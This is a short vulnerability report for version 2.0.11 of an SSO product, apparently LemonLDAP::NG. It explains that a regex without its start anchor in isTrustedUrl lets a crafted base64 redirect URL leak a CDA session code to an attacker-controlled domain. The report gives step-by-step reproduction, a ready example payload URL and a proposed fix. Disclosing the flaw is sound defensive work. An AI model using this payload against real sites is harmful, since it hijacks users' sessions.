[security:low] Incorrect regexp construction in isTrustedUrl lets attacker steal session on CDA application

Concerned version

Version: 2.0.11

Summary

• Configure a CDA vhost (cda.example.com)
• let attack_urldc = base64(http://your-untrusted-domain.com/?attack=http://cda.example.com)
• Trick your target into opening http://auth.lemontest.lxd/?url=attack_url
• User is redirected to http://your-untrusted-domain.com/?attack=http://cda.example.com&lemonldapcda=CDA_CODE
• You may now login to http://cda.example.com?lemonldapcda=CDA_CODE as the target user

Example: http://auth.example.com/?url=aHR0cDovL3BlcmR1LmNvbS8/ZmFrZT1odHRwOi8vY2RhLmV4YW1wbGUuY29tLw==

Possible fixes

the trustedDomainsRe is missing a ^, this is also the case in !185 (merged)

This mistake causes trustedDomainsRe to be easily bypassed, but CDA is the feature which has the worst impact for this mistake